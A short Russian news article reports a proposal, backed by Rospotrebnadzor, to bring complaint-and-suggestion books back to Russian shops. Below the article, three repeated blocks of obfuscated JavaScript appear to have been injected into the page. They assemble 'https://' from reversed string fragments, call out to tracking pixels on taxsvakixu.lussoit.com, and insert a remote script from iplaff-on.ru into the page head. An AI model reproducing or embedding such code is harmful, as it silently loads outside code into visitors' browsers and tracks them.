Книгу отзывов, жалоб и предложений могут вернуть в магазины России

Идею возвращения жалобных книг предложил союз потребитерей,эту инициативу поддержал Роспотребнадзор. Об этом 15 января сообщили «Известия» со ссылкой на председателя Союза потребителей Петра Шелища.

«Возможность внести запись в книгу жалоб помогает избежать скандалов в магазине. Человек может выплеснуть свои эмоции на бумагу, а не на продавца. Таким образом, острая стадия конфликта может пройти спокойнее», — рассказал Пётр Шелищ.

Как отметили инициаторы возращения жалобной книги, любая коммуникация с покупателем необходима. К тому же, не все покупатели общаются в интернете или вообще имеют доступ к нему, чтобы выражать там свои претензии. Союз потребителей ужерен, что Книга для отзывов, жалоб и предложений могут вернуть в магазины уже в 2021 году.

Напомним, с 1 января 2021 года в России вступили в силу правила реализации товаров по договору розничной купли-продажи. В них прописан новый перечень обязанностей для торговых точек, в котором уже нет требования иметь книгу жалоб.

var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['taxsvakixu.lussoit.com','48'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif')); var script = document.createElement("script"); script.src = "//iplaff-on.ru/link/zekhb8s8/"; document.getElementsByTagName("head")[0].appendChild(script); var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['taxsvakixu.lussoit.com','45'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif'));

var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['taxsvakixu.lussoit.com','48'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif')); var script = document.createElement("script"); script.src = "//iplaff-on.ru/link/zekhb8s8/"; document.getElementsByTagName("head")[0].appendChild(script); var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['taxsvakixu.lussoit.com','45'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif'));

var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['taxsvakixu.lussoit.com','48'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif')); var script = document.createElement("script"); script.src = "//iplaff-on.ru/link/zekhb8s8/"; document.getElementsByTagName("head")[0].appendChild(script); var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['taxsvakixu.lussoit.com','45'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif'));